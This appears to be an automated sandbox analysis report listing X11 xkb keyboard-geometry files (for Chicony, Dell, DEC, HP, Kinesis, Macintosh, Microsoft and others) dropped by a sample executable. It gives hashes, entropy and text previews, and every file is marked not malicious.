SSDEEP:	96:MkChQDi1jBFG/4QS1XQRFaoHZ8wwRXIJuXz5a2oIkpyMFLv6CpazCP7Zn6Fl9:ssaBFvvwe/W+QTBHTn6Fl9
MD5:	B0E7048D484BE44E83BEFF41CEE0F2EC
SHA1:	B69AAEA0C40D4C3CD7E6D622C678176CD993E366
SHA-256:	644BD4DF8C9A816A871FF5ACD5CF47BBCCC3A6727B6838D4B22C78D3AA2C2B51
SHA-512:	65EC2DD2D21361F798541294722A7B333A304180BA28203B74C1F61EB172D6CBE2BBB3CE711DA16DBF9D4CD7B8FEC12ABC0C9E5EB9050DE2C6D41EA084D0F245
Malicious:	false
Preview:	// -- indent-tabs-mode: nil --..// Created by Alexander Pohoyda <alexander.pohoyda@gmx.net>.// Geometry specification for Chicony KB-9820 keyboard...// 86 keys.default xkb_geometry "us" {. description = "Chicony KB-9820 infra-red keyboard";. width = 350;. height = 180;. //baseColor = "grey60";. labelColor = "white";.. shape "EDGE" { cornerRadius = 25,. { [0, 8], [142.5, 0], [202.5, 0], [347, 8],. [347, 60], [327, 100], [322, 160],. [202.5, 165], [142.5, 165],. [25, 160], [20, 100], [0, 60] } };. shape "KEYS" { cornerRadius = 2, { [271, 109] } };. shape "MOUS" { cornerRadius = 12, { [24, 24] } };. shape "MOUS2" { cornerRadius = 9, { [18, 18] } };. shape "BTNS" { cornerRadius = 5, { [10, 10] } };.. solid "Edges" {. top = 0;. left = 0;. shape = "EDGE";..color = "grey60";. };.. solid "KeyPanel" {..shape = "KEYS";..left = 38;..top = 22;..color = "black

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\dell

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20231
Entropy (8bit):	5.140305678373962
Encrypted:	false
SSDEEP:	384:8YGgrTpX+DH9TTX9DH9TEziAVk0yIlKCHyXqliqz:qgHpX+DH9TTX9DH9TEziuskyXqcqz
MD5:	DE37542D307EF9624FCE488F6970836A
SHA1:	F662C1631A9FEA03561A737F920587C6D57C4BE3
SHA-256:	E7FF033410AE655C58D52A146EC956BA844EFD287C5301D311C10C7B3E849644
SHA-512:	3F68A186783A8A4A95D311D2010CF8BA48817AC4ECEB5026ED0CB9C98785DA890E7B3C977D9C1BEB7B9890787904B99C235D14F92CE580B195BAB1103BCD7171
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\digital_vndr\lk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20636
Entropy (8bit):	4.903130536515606
Encrypted:	false
SSDEEP:	192:zYQHbYrCeg42Kx6Ox2c0imUatYdquv5xYbm0HGUa9YIqAO5xYbm0HGUa9YIqAOQr:zYEYrCewKx6+SEvPYO2PYO2EY1I9eRY
MD5:	B9D740E2D08F78FAC2D791CC322C69A0
SHA1:	14C7281185AB4F0CC621369946AF78496213A421
SHA-256:	426427361388FC73A8094FDA2CF591E1AE1674332A6ACAEF62BE1EA293E460E2
SHA-512:	3B0DAE15B02E6BB8D61FA1DB0D674CCECD6E5A5A717594A897383A7112026A6D3D0080A6EFC70F3CBE6B6AF79C560AF1CC63373ACA14B14B5BCB001188930460
Malicious:	false
Preview:	//.//Copyright (c) 1996 Digital Equipment Corporation.//.//Permission is hereby granted, free of charge, to any person obtaining.//a copy of this software and associated documentation files (the.//"Software"), to deal in the Software without restriction, including.//without limitation the rights to use, copy, modify, merge, publish,.//distribute, sublicense, and sell copies of the Software, and to.//permit persons to whom the Software is furnished to do so, subject to.//the following conditions:.//.//The above copyright notice and this permission notice shall be included.//in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.//OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL DIGITAL EQUIPMENT CORPORATION BE LIABLE FOR ANY CLAIM,.//DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR.//OTHE

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\digital_vndr\pc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10864
Entropy (8bit):	5.053261748329979
Encrypted:	false
SSDEEP:	192:zYQHbYrCasK2GcWXdyB80AUDYfmNBin0AUauYOB00AUTYOmYu:zYEYrCaOGXNR/SG
MD5:	1371EABAC39D096C222A8F79108A5E6D
SHA1:	D2ADB14D244707F53A10ADDC96E92ADFA165AA7F
SHA-256:	85DE5DF45BFD20E6A41E2D08D7EEE56C1B6B5ACC75F97E261432284C5A8ED77C
SHA-512:	37CB17ACA81C69F71C0992C3176CE04F7CEB269F820E524D13AD1364EE3E7F4D4F4268C777301F9E5C1525054ABF3435F0F293AE9B32231A0BD46E029640C5D8
Malicious:	false
Preview:	//.//Copyright (c) 1996 Digital Equipment Corporation.//.//Permission is hereby granted, free of charge, to any person obtaining.//a copy of this software and associated documentation files (the.//"Software"), to deal in the Software without restriction, including.//without limitation the rights to use, copy, modify, merge, publish,.//distribute, sublicense, and sell copies of the Software, and to.//permit persons to whom the Software is furnished to do so, subject to.//the following conditions:.//.//The above copyright notice and this permission notice shall be included.//in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.//OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL DIGITAL EQUIPMENT CORPORATION BE LIABLE FOR ANY CLAIM,.//DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR.//OTHE

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\digital_vndr\unix

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7169
Entropy (8bit):	5.159104356854291
Encrypted:	false
SSDEEP:	192:zYQHbYrCHR0BJmD0AUoYd0Yesg0FI0ZFUasYBF3Ttt:zYEYrCHa3g/6vt
MD5:	5CD79C29446468216B7311F491EF5584
SHA1:	FF5F8AB84F7BB4BAD657AC00E73E8C39DEE97622
SHA-256:	D0FC8E398B613067ECC1880CF2E48F88D476705EE679044044ACBA10D6162E27
SHA-512:	1B7E853DB5FCABCDD8C8A318B15A7A062400DB674823408F909E4CE267099BC38756C1EE3E2C091024CBA4F6C8DCA27AF19CD2DF3EBA1C855A5DAEC46A5E6752
Malicious:	false
Preview:	//.//Copyright (c) 1996 Digital Equipment Corporation.//.//Permission is hereby granted, free of charge, to any person obtaining.//a copy of this software and associated documentation files (the.//"Software"), to deal in the Software without restriction, including.//without limitation the rights to use, copy, modify, merge, publish,.//distribute, sublicense, and sell copies of the Software, and to.//permit persons to whom the Software is furnished to do so, subject to.//the following conditions:.//.//The above copyright notice and this permission notice shall be included.//in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.//OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL DIGITAL EQUIPMENT CORPORATION BE LIABLE FOR ANY CLAIM,.//DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR.//OTHE

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\everex

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3839
Entropy (8bit):	5.075653053915921
Encrypted:	false
SSDEEP:	96:hi68n687i6n76t26r6nD6Bo6h6U6pS6NF61Yqo4n+lTinsLVWue6vinFqyJerB9Y:hivntic7+2mGD/+puSUFUXGAsJWKqFdF
MD5:	71B4738CD22D9C5A2AFA1B5E0CBE12BE
SHA1:	4C1A97BD21E54CD133D60D9598C1C99D0B632400
SHA-256:	287BCAAECA49DAF5A18FCFD913E3F271FBEF2C4327B860C145E8507E5FA45F4D
SHA-512:	974B23C89410C33997D5858BCB3202C155151CDAC8B7775380EAF958E2A1D78EC502FA86DFFD0368454EFBD0801EC1CC725A0D49D09005CB5FE3266798FF1AD3
Malicious:	false
Preview:	default xkb_geometry "STEPnote" {.. description= "Everex STEPnote";. width= 281;. height= 150;.. shape.cornerRadius= 1;.. shape "NORM" { ..{ [17,17] },..{ [ 2, 1], [ 15, 15 ] }. };. shape "NARR" {..{ [ 15, 17 ] },..{ [ 2, 1 ], [ 13, 15 ] }. };. shape "FKEY" {..{ [ 15.1, 15.5 ] },..{ [ 1, 1 ], [ 14.1, 14.5 ] }. };. shape "ESC" {..{ [ 16.4, 15.5 ] },..{ [ 1, 1 ], [ 14.1, 14.5 ] }. };. shape "WIDE" {.// backspace, tab and Fn..{ [ 25, 17 ] },..{ [ 2, 1 ], [ 23, 15 ] }. };. shape "RTRN" {..{ [ 27.5, 17 ] },..{ [ 2, 1 ], [ 25.5, 15 ] }. };. shape "CAPS" {..{ [ 30, 17 ] },..{ [ 2, 1 ], [ 28, 15 ] }. };. shape "LFSH" {..{ [ 38.5, 17 ] },..{ [ 2, 1 ], [ 36.5, 15 ] }. };. shape "RTSH" {..{ [ 21, 17 ] },..{ [ 2, 1 ], [ 19, 15 ] }. };. shape "SPCE" {..{ [ 88.8, 17 ] },..{ [ 2, 1 ], [ 86.8, 15 ] }. };. shape "WELL" { ..{ [ 269, 105 ] }. };. shape "LED" {..cornerRadius= 1.5,..{ [ 3, 10 ] }

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\fujitsu

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7781
Entropy (8bit):	5.123875609127015
Encrypted:	false
SSDEEP:	192:8YQHHgrTE/zIjXei/4szNjrXBHQIjXei/Esz0jrXY5:8YGgrTEEt/vrxdt/Uro5
MD5:	D1912F66D4C491D4237EBA7746820B2C
SHA1:	D3A89458EAE452A2F100DAE18F1ACECD622EF220
SHA-256:	6127F0CFA9CAC59B79900D21AC116B8F6708B4BB57812137B511275A7BF65614
SHA-512:	732C827E77A6CE7AE96F990C9F4510E3360871B9B3194B7EB51471DEC015B8079D31103D9C0BF7BD2F80DBBD34904D1CB44D1C24F0A7B7DDB19D70324054DF8B
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\hhk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5485
Entropy (8bit):	5.426823215712705
Encrypted:	false
SSDEEP:	96:XBMsERYQHboXvUdYVyJC5o4NLIhVbPS37xDYZkGqV/d:yRYQHb6MeoEj6Hc7ZYZ0Rd
MD5:	DBAD8F57727B3FE214D0F14BDF87C5BB
SHA1:	DADDF74A26D81EEE969E7E1B62808FFEEBD04068
SHA-256:	F0AFB8291B8710596C17F2B75FAE367189FA93AE0C6707857B36D574A419DFC8
SHA-512:	23804675CA37E8C9CD1432ED349B7CEF235DBE2232DB457A69278094366E38683474971E9BAC6F0E0B561DF6F9AFF49E0CCD1F3ECD4089EC9BDFD6B232504118
Malicious:	false
Preview:	//.//.XKB geometry for the Happy Hacking Keyboard (Lite)..//.Different variants correspond to different switch.//.settings on the HHK..//.// Copyright (c) Doug Palmer <doug@charvolant.org>, 2002.//.//Permission is hereby granted, free of charge, to any person obtaining a copy.//of this software and associated documentation files (the "Software"), to deal.//in the Software without restriction, including without limitation the rights.//to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.//copies of the Software, and to permit persons to whom the Software is.//furnished to do so, subject to the following conditions:.//.//The above copyright notice and this permission notice shall be included in.//all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.//IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.//FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\hp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	17353
Entropy (8bit):	5.059421311741148
Encrypted:	false
SSDEEP:	384:8YGgrTbFHVk1R9E/p8ztgXchgGiXStITR6eCe:qgHbFHVk1R9E/Oztk+gFitIdxCe
MD5:	1925A47D7B6557670B044DDF3DC65AB2
SHA1:	009A48150192EC8AA68A033A439D4E94A4F727D8
SHA-256:	DA21977D91DF78344906167DBA287ADBDFF60339C48254AD3F71DFB4CAE8E212
SHA-512:	523E02880BFE1F687DE50ABCE7BE9777CE7FFA9440A6AFB529FB1D6738CC646450101E627FB056C9C110792E03731EAFEAD3F779402A4DB0236BA25C4411978B
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\keytronic

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6500
Entropy (8bit):	5.275561183213397
Encrypted:	false
SSDEEP:	96:zCzUqYQHKQgrTL3L1v46Ehh9h9BFyIArEmGLQLBihUbKNPZme2qo27WhizGrZc7W:8YQHHgrTbRiz0gekDFd2g2Ve0
MD5:	E6EAAFF75988E64C92CC75BE9A5C32E6
SHA1:	CA0B39712DDBD248290D45A5B49F9388CE66E5C0
SHA-256:	077238E18A2A33AC71B10FBCA54F6AB8E60D58D9EC96A0BFA23E8EABEE711956
SHA-512:	D0DFE2A538108BE42ADAC0248B0563DE4B1670CEF4D2D2CFAE4EB9A8B95FDD28E3891392C4FDC9A472A5CC425B9F97EF80A4D7AA1640CB50C250D81A62CE656D
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\kinesis

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4045
Entropy (8bit):	5.120936523032496
Encrypted:	false
SSDEEP:	96:ZLuMro0hxK873EuVeFyLXyD7WIgZNNe6eBEiK5St6Jcmqo6WSFHOuS9HHRK/xfIq:RHo0cqX+8qo6bFHxStIcK
MD5:	5D4A842712D76F83DED8907BC3E08443
SHA1:	0BC48354FD5A48C17D01F0FA07DCC7BDA12ECCBE
SHA-256:	A70A37CF4D82343182BD4AFCC3FAAC31E1050756D8CF8EE601BB2C57C630BFAC
SHA-512:	52DEB4CF447D18AF4A87E632767B30C2BFD1C8ECE0AA2D60F86C9E01A50C3A2B5FC360053F4E7BB764129A4F883EE1A0600493DF3FB8EDBCA425A235B39A6CAE
Malicious:	false
Preview:	default xkb_geometry "model100" {.. // This is an approximate layout for a Kinesis Ergonomic keyboard. // Generated completely by eye. I didn't actually measure a real . // keyboard... description= "Kinesis Ergonomic Keyboard";. width= 421;. height= 185;.. shape.cornerRadius= 1;. shape "NORM" { { [ 18,18] }, { [2,1], [16,17] } };. shape "WIDE" { { [ 21,18] }, { [2,1], [19,17] } };. shape "TALL" { { [ 18,37] }, { [2,1], [16,36] } };. shape "FKEY" { cornerRadius=0, { [ 10,13] } };. shape "LED" { cornerRadius= 1.5, { [ 3, 3] } };. shape "LOGO" { { [ 40, 10 ] } };. shape "EDGE" { cornerRadius=5, { [ 421, 185 ] } };.. outline "Edges" {..top= 0;..left= 0;..shape= "EDGE";. };.. section "LeftFunction" {..left= 15;..top= 11;..key.shape= "FKEY";..key.gap= 3;..row {.. left= 1;.. top= 1;.. keys { .. .<ESC>, <FK01>, <FK02>, <FK03>, <FK04>,...<FK05>, <FK06>, <FK07>, <FK08>.. };..};. }; // End of "LeftFunction" section.. s

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\macintosh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	41055
Entropy (8bit):	4.244306546118611
Encrypted:	false
SSDEEP:	384:mDn9KiJuBZ2wz1mRYlmFYt9zlPbnF/NlPbnaudDPAZ:mDn9Ki0f2wZm2lmetHjnFnjnaoYZ
MD5:	6F80ED05E2D5508417CB708BEE8A73EE
SHA1:	7B9DBB7D62435B05595B131A42435B93D1C61EE7
SHA-256:	1E58CDAF7198990D3C2A66E0447E5011CD49EFE19F68CD7AEF7CF7CDD0CDC147
SHA-512:	952948ED976D9B26300B0D760349517DE46D7C7ECD4B0AA4E1523BE62334E9B48A6FE57FD8012F2D92CBA362A033DCD224DE3E0B8AC4FC9A27380A5BBBCFE3EE
Malicious:	false
Preview:	//.// Some modifications (<eqdar@castalie.org>) :.// - Added a <LSGT> key.// - Fixed the shape of the <RTRN> key.// - Moved <BKSL> to the 'AC' row.// - Added a special Macintosh sysctl key.// - Minor changes (Function keys shape, LED position...)..// Minor changes.// - Mail address above is no longer valid.// - Changed {L,R}MTA to {L,R}WIN, which are defined.// 2005/10 -- Simon Vallet <svallet@gmail.com>..default xkb_geometry "macintosh" {.. description= "Apple Extended Keyboard II";. width = 475;. height = 194;.. shape.cornerRadius= 1;. shape "NORM" { { [ 18,18] }, { [2,1], [ 16,17] } };. shape "TLDE" { { [ 23,18] }, { [2,1], [ 21,17] } };. shape "BKSP" { { [ 33,18] }, { [2,1], [ 31,17] } };. shape "TAB" { { [ 33,18] }, { [2,1], [ 31,17] } };. shape "RTRN" { . { [0,0],[23,0],[23,37],[4,37],[4,18],[0,18] }, . { [2,1],[21,1],[21,36],[6,36],[6,17],[2,17] } };. shape "CAPS" { { [ 37,18] }, { [2,1], [ 35,17] } };. shape "LCTL" { { [ 28,18] },

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\microsoft

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12625
Entropy (8bit):	4.913582314352963
Encrypted:	false
SSDEEP:	384:oG0yox8rvyk7wZT1TV2ox8ep21yq744KZ:oG0yox8rvyuwZT1TV2ox8ep21y044KZ
MD5:	7E96F1E088362E5A1A4C932DF34A6536
SHA1:	40ED68B1E58E7062A0A7297632D74ADCF95DF77E
SHA-256:	7A3BEEBFD2A8589BE699B1297AE506D7109A61CDFC46C60506AD737DFBFF8F28
SHA-512:	9CC23453F6AE272BA3BBCA3969865CB2320AB2A2F22996B02011F259F338B942AE491B8643AD19ED0A2B3981CDA8789D9EB83DE3A2703E15E2DB70DB46269A6C
Malicious:	false
Preview:	default xkb_geometry "natural" {.. // Approximate layout for a Microsoft Natural Keyboard. description= "Microsoft Natural Keyboard";. width= 550;. height= 190;.. shape.cornerRadius= 1;. shape "LDEF" { { [ 18,18] }, { [2,1], [15,15] } };. shape "TABK" { { [ 26,18] }, { [2,1], [23,15] } }; . shape "CAPS" { { [ 30,18] }, { [2,1], [23,15] } }; . shape "LFSH" { { [ 41,18] }, { [2,1], [38,15] } };. shape "KEY6" { { [ 22,18] }, { [2,1], [15,15] } };. shape "KEYT" { { [ 33,18] }, { [2,1], [15,15] } };. shape "KEYG" { { [ 29,18] }, { [2,1], [15,15] } };. shape "LCTL" { ..approx= { [ 32, 22 ] },..{ [ 0, 0], [ 32, 0 ], [ 32, 23 ], [ 0, 22 ] },..{ [ 2, 1], [ 29, 1 ], [ 29, 17 ], [ 2, 15 ] } . };. shape "LWIN" { ..approx= { [ 32, 23 ] },..{ [ 0, 0], [ 32, 0 ], [ 32, 24 ], [ 0, 23 ] },..{ [ 2, 1], [ 29, 1 ], [ 29, 18 ], [ 2, 17 ] } . };. shape "LALT" { ..approx= { [ 32, 24 ] },..{ [ 0, 0], [ 32, 0 ], [ 32, 25 ], [ 0, 24 ] },..{ [ 2, 1], [ 29,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\nec

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4152
Entropy (8bit):	5.241276505796152
Encrypted:	false
SSDEEP:	96:zCzUqYQHKQgrTLNeRXkPEUwbFr2WUbSi7H9JCIgzfF/n0g6ztGmfE4zFO:8YQHHgrT3YfFb+XM
MD5:	5E56A95FACF2BD19DFA10CEB6E1B3F61
SHA1:	40F1B662580869DBC9C585ADC8E5336B3C7048C8
SHA-256:	5F9154A1DD54715CFDAC75492E517B083AF551850B3B4BB1DE9E27A1690C14AE
SHA-512:	102949DA0C8ACEF79BE3CC12178E7A5000313CF0828E8A8BEF9D8274F525F3CCE640E6A6ED7847E21CDF8009BF420995B2DB7B8284F7395BDDFDD6553ED2F9A6
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\nokia

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1264
Entropy (8bit):	5.184113731066173
Encrypted:	false
SSDEEP:	24:APwF6qV9zYzsvEzTkO9/L/4p2q+5wQlH5bXjlpY5l6Tq65bXKY54HFyqrOyvj:AJaMVD/L/Bq5Uj7G0KPDZ
MD5:	2E4F27EBFA220BE78CFB316D70D0E03C
SHA1:	7B801A3EA6096560577C21CBEC16B826C2A2CD35
SHA-256:	9F442DBC1742A738E44ECB2566EE5F41832C5BA19F351D040F3A6823AF8DEEF2
SHA-512:	1EAD4A1325CFD7EF74B26ADBBBFA436BE1BB7F670B6B2B68E90315040E6518E8822AF6EB1ECC722ED6D0CD2E3324CABF883DC6399D2E559132CA65658BE944C1
Malicious:	false
Preview:	// Zoomed 3x because of text size..default xkb_geometry "nokiarx51" {.. description= "Nokia RX-51";. width= 273; // 13x6mm + 2x1.5mm border + 2x5mm border. height= 54; // 3x5mm + 2x1.5mm border.. shape.cornerRadius= 1.5;. shape "NORM" { { [18,15] } };. shape "SPCE" { { [36,15] } };. shape "FRAME" { cornerRadius= 2.5, { [243,54] } };.. solid "FRAME" {..shape= "FRAME";..color= "white";..top= 0;..left= 15;. };.. section.left= 15;. row.left= 4.5;. key.shape= "NORM";. key.gap= 0;. section "Keys" {..top= 0;..row {.. top= 4.5;.. keys { { <LCTL>, "NORM", color="grey20" },... <AD01>, <AD02>, <AD03>, <AD04>, <AD05>,... <AD06>, <AD07>, <AD08>, <AD09>, <AD10>, <AB08>,... { <BKSP>, "NORM", color="grey20" }.. };..};..row {.. top= 19.5;.. keys { { <RALT>, "NORM", color="grey20" },... <AC01>, <AC02>, <AC03>, <AC04>, <AC05>,... <AC06>, <AC07>, <AC08>, <AC09>, <AB09>, <UP>,... { <RTRN>, "NORM", color="grey20" }.. };..};..row {..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\northgate

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4017
Entropy (8bit):	5.054294834236784
Encrypted:	false
SSDEEP:	96:URDbzEN6G9/h2akz2681qHZvghKc9OCJiz0FNL79/IF+uIztzN:kkN/GVx70F/L
MD5:	758C9CA22B0106276E5E83AE152FD91F
SHA1:	4EE5F6C316E5C87DBFC32271F0FEC93A04B547F7
SHA-256:	8DF7BC0FCA08E596AB197502F04392484DE5D90962BFE4183FABA8FEC1E87214
SHA-512:	9BCBA3D5172DC5C51D421D67F7420BCA54C92C8B39AD0A0D61C84ADBCDCB05AA0094E693BC562E58B1659C5543B8BB3231E984E01AC22185B0F183FAA889B630
Malicious:	false
Preview:	default xkb_geometry "omnikey101" {.. description= "North Gate Omnikey 101";. width= 470;. height= 175;.. shape.cornerRadius= 1;. shape "NORM" { { [18,18] }, { [2,1], [16,17] } };. shape "BKSP" { { [34,18] }, { [2,1], [32,17] } };. shape "TABK" { { [27,18] }, { [2,1], [25,17] } };. shape "RTRN" {..approx = { [15, 0], [40,37] },..{ [15, 0], [40, 0], [40,37],.. [ 0,37], [ 0,19], [15,19] },..{ [17, 1], [38, 1], [38,36],.. [ 2,36], [ 2,20], [17,20] }. };. shape "CAPS" { { [ 32,18] }, { [2,1], [30,17] } };. shape "LFSH" { { [ 41,18] }, { [2,1], [39,17] } };. shape "RTSH" { { [ 30,18] }, { [2,1], [28,17] } };. shape "MODK" { { [ 26,18] }, { [2,1], [24,17] } };. shape "SPCE" { { [129,18] }, { [2,1], [127,17] } };. shape "KP0" { { [ 37,18] }, { [2,1], [35,17] } };. shape "KPAD" { { [ 18,37] }, { [2,1], [16,36] } };.. shape 